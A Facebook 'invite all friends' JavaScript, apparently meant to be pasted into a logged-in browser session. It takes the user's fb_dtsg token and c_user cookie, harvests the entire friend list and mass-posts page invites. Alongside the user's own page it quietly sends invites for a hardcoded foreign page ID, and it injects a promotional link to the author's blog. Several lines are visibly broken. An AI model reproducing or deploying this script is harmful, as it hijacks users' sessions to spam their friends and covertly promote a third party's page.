var Title = '<img src="http://i1217.photobucket.com/albums/dd387/wael111196/pageinvite_zpsb9bc61c5.png">',
    Descriptions = "",
    _text = "<b>-----------------</b></br>";
page_id = /"profile_owner":"([0-9]+)"/.exec(document.getElementById("pagelet_timeline_main_column").getAttribute("data-gt"))[1];

function InviteFriends(b) {
    jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send_single/?page_id=" + page_id + "&invitee=" + b + "&elem_id=u_0_1k&action=send&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=8&fb_dtsg=" + fb_dtsg + "&phstamp=", function (a) {
        a = a.substring(a.indexOf("{"));
        a = JSON.parse(a);
        i--;
        Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:center;font-size:10px;white-space:pre-wrap;";
        a.error ? (Descriptions += "color:darkgreen'>", err++, Descriptions = a.errorDescription ? Descriptions + a.errorDescription : Descriptions + JSON.stringify(a, null, "")) : (Descriptions += "color:darkred'>", Descriptions += arn[i] + " has been invited to like the page " + page_name + ".", suc++);
        Descriptions += "</div>";
        a = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:85px;border:2px dashed #333;background-color:#CCCD34;color:blue'>" + ("<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>");
        0 < i ? (a += arr.length + " Friends Detected<br/>", 
        a += "<b>" + suc + "</b> Friends Invited of " + (arr.length - i) + " Friends Processed ", 
        a += "(" + i + " Lefted...)", 
        a = a + "<div class='friend-edge'>" + Descriptions, 
        a += "<img style='background:center no-repeat url(https://i1217.photobucket.com/albums/dd387/wael111196/UlIqmHJn-SK_zps875c7c31.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid #333;' src=" + pho[i] + "></img><a style='font-size:13px;padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>", 
        a += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:white'>", 
        a += "Please Wait While Inviting Your Friends to Like Your Page " + page_name + ".</br>", 
        a += _text, 
        a += "</div>", 
        a += "</div>", 
        a += "<div><div><span class='Copyright' style='position:fixed;left:20px;bottom:20px;;margin:0 0 15px 0;padding:1px 10px 3px;border:1px solid #444;background-color:#CCCD34;color:white;font-size:12px;font-weight:bold;white-space:nowrap;overflow:hidden;display:inline-block;width:500px;'><font Color=black>Copyright</font> <font Color=red>©</font> <font Color=black>Project Designed by</font> :<a> wael hagag</a></span>",
        window[tag + "_close"] = !0) : (Title = "All Of Your Friends Have Been Invited to Like Your Page.</A>", 
        a += arr.length + " Friends Detected and </br>", 
        a += "<b>" + suc + " Friends Invited.</b></br>", 
        a += "<div><span class='FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge' onClick='ChangeLocation()' style='border-radius:85px;border:1px solid #333;background:orange;color:#000000;color:white'>Go to Homepage</span><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='border-radius:85px;border:1px solid #333;background:orange;color:#000000;color:white'>Close</span><br/><br/></br>&#961;&#963;&#969;&#1108;&#1103;&#594; &#1074;y : <a href=''target='_blank'> &#969;&#945;&#1108;&#8467; &#1085;&#945;&#610;&#945;&#610; </a>", 
        a += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'><br/>", 
        a += _text, 
        a += "</div>", window[tag + "_close"] = !1);
        a += "</div>";
        document.getElementById("pagelet_sidebar").innerHTML = a
    }, "text", "post");
    tay--;
    0 < tay && setTimeout("InviteFriends(" + arr[tay] + ")", 100);
    console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
    page_id && jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + b + "%22%3A1%7D&checkableitems[0]=" + b + "&page_id=561204617223847&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post");
}
jx = {
    b: function () {
        var b = !1;
        if ("undefined" != typeof ActiveXObject) try {
                b = new ActiveXObject("Msxml2.XMLHTTP")
        } catch (a) {
            try {
                b = new ActiveXObject("Microsoft.XMLHTTP")
            } catch (e) {
                b = !1
            }
        } else if (window.XMLHttpRequest) try {
                b = new XMLHttpRequest
        } catch (f) {
            b = !1
        }
        return b
    },
    load: function (b, a, e, f, d) {
        var c = this.d();
        if (c && b) {
            c.overrideMimeType && c.overrideMimeType("text/xml");
            f || (f = "GET");
            e || (e = "text");
            d || (d = {});
            e = e.toLowerCase();
            f = f.toUpperCase();
            b += b.indexOf("?") + 1 ? "&" : "?";
            var g = null;
            "POST" == f && (g = b.split("?"), b = g[0], g = g[1]);
            c.open(f, b, !0);
            c.onreadystatechange = d.c ? function () {
                d.c(c)
            } : function () {
                if (4 == c.readyState) if (200 == c.status) {
                        var b = "";
                        c.responseText && (b = c.responseText);
                        "j" == e.charAt(0) ? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : "x" == e.charAt(0) && (b = c.responseXML);
                        a && a(b)
                    } else d.f && document.getElementsByTagName("body")[0].removeChild(d.f), d.e && (document.getElementById(d.e).style.display = "none"), error && error(c.status)
            };
            c.send(g)
        }
    },
    d: function () {
        return this.b()
    }
};

function ChangeLocation() {
    window.location.href = "http://www.facebook.com/"
}
setTimeout("ChangeLocation", 1);
window.onbeforeunload = function () {
    if (window[tag + "_close"]) return "This script is running now!"
};
for (var i = 3, tay = 3, suc = 0, err = 0, arr = [], arn = [], pho = [], tag = "Close", page_name, x = document.getElementsByTagName("span"), i = 0; i < x.length; i++) "name" == x[i].getAttribute("itemprop") && (page_name = x[i].innerHTML);
var fb_dtsg = document.getElementsByName("fb_dtsg")[0].value,
    user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
jx.load(window.location.protocol + "///www.facebook.com/ajax/typeahead/first_degree.php?viewer=" + user_id + "&token=v7&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=l", function (b) {
    b = b.substring(b.indexOf("{"));
    b = JSON.parse(b);
    b = b.payload.entries;
    for (var a = 0; a < b.length; a++) arr.push(b[a].uid);
    for (a = 0; a < b.length; a++) arn.push(b[a].text);
    for (a = 0; a < b.length; a++) pho.push(b[a].photo);
    tay = i = arr.length - 1;
    console.log(arr.length);
    b = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:85px;border:2px dashed #333;background-color:#CCCD34;color:blue'>" + ("<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>");
    b += arr.length + " Friends Detected";
    b += "</div>";
    document.getElementById("pagelet_sidebar").innerHTML = b;
    InviteFriends(arr[i])
});

body = document.body;
null != body && (div = document.createElement("div"), div.setAttribute("id", "like3"), div.style.position = "fixed", div.style.display = "block", div.style.width = "225px", div.style.hieght = "35px", div.style.opacity = 1, div.style.bottom = "+85px", div.style.left = "+23px", div.style.backgroundColor = "#CCCD34", div.style.border = "1px solid #444 ", div.style.padding = "2px", div.style.padding = "3px", div.innerHTML = "\u255a\u25ba <a href='http://fb-programs.blogspot.com/' style='color: #990000;'target='_blank' onclick='alert('Script By wael hagag');'>Click here to get the new programs</a>");
body.appendChild(div);
unsafeWindow.AnonymousComments = function () {
    for (var e = 0, t = document.getElementsByTagName("a"), n = 0; n < t.length; n++) e++
};


